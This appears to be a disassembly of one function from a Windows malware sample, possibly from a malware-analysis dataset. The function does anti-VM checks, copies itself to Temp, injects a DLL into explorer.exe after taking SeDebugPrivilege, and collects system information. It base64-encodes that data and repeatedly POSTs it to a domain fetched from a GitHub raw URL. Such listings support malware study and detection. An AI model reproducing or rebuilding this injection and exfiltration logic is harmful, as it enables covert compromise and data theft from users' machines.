Function at 0x4037a2
Capabilities:
Create thread
Write file on windows

Disassembly:
push rbp
sub rsp, 0x670
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x5ec], 0x80000001
mov eax, dword [rbp + 0x5ec]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
call rax
test eax, eax
jne 0x4037e4
lea rcx, str.ERROR_ENERGY_STATUS.
call sym.puts
jmp 0x4037f0
lea rcx, str.GOOD_ENERGY_STATUS.
call sym.puts
lea rdx, str.Russian_Russia.1251
mov ecx, 0
call sym.setlocale
test rax, rax
jne 0x403838
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x33
mov edx, 1
lea rcx, str.___1251__n
call sym.fwrite
mov eax, 1
jmp 0x403ac9
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call rax
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call rax
call sym.CheckForVirtualMachine
call sym.CopySelfToTemp
call sym.IsRunningAsAdmin
test eax, eax
jne 0x40387d
lea rcx, [0x0044e1db]
call sym.zalupa
mov eax, 0
jmp 0x403ac9
call sym.ExtractDLL
lea rax, [rbp + 0x3b0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
test eax, eax
jne 0x4038c3
lea rcx, str.Failed_to_get_module_file_name
call sym.puts
mov rax, qword [sym.imp.msvcrt.dll__getch]
call rax
mov eax, 1
jmp 0x403ac9
lea rax, [rbp + 0x3b0]
mov edx, 0x5c
mov rcx, rax
call sym.wcsrchr
mov qword [rbp + 0x5e0], rax
cmp qword [rbp + 0x5e0], 0
je 0x403904
mov rax, qword [rbp + 0x5e0]
add rax, 2
lea rdx, str.inject.dll
mov rcx, rax
call sym.wcscpy
jmp 0x40391a
lea rax, [rbp + 0x3b0]
lea rdx, str.inject.dll
mov rcx, rax
call sym.wcscpy
call sym.SetSeDebugPrivilege
test eax, eax
je 0x403980
lea rcx, str.explorer.exe
call sym.GetPID
mov dword [rbp + 0x5dc], eax
cmp dword [rbp + 0x5dc], 0
je 0x403972
lea rdx, [rbp + 0x3b0]
mov eax, dword [rbp + 0x5dc]
mov ecx, eax
call sym.InjectDLL
test eax, eax
je 0x403964
lea rcx, str.Injection_successful
call sym.puts
jmp 0x40398c
lea rcx, str.Injection_failed
call sym.puts
jmp 0x40398c
lea rcx, str.Process_not_found
call sym.puts
jmp 0x40398c
lea rcx, str.Failed_to_set_SeDebugPrivilege
call sym.puts
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.CheckTaskmgrThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x5d0], rax
cmp qword [rbp + 0x5d0], 0
jne 0x4039d8
mov eax, 1
jmp 0x403ac9
lea rcx, [0x0044e1db]
call sym.IsAnotherInstanceRunning
test eax, eax
je 0x403a05
lea rdx, [0x0044e1db]
lea rcx, str.__s__.__._n
call sym.printf
mov eax, 1
jmp 0x403ac9
lea rcx, str.https:__raw.githubusercontent.com_ILoveThisHacherLife_listik_refs_heads_main_list.txt
call sym.get_domain_from_url
mov qword [rbp + 0x5c8], rax
cmp qword [rbp + 0x5c8], 0
je 0x403aaa
mov rax, qword [rbp + 0x5c8]
mov rdx, rax
lea rcx, str.Response:__s_n
call sym.wprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.get_system_info
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.base64_encode
mov qword [rbp + 0x5c0], rax
cmp qword [rbp + 0x5c0], 0
je 0x403a99
mov rdx, qword [rbp + 0x5c8]
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
call sym.send_post_request
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
call sym.free
jmp 0x403ab6
lea rcx, str.Failed_to_get_response._n
call sym.wprintf
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x4039d8
add rsp, 0x670
pop rbp
ret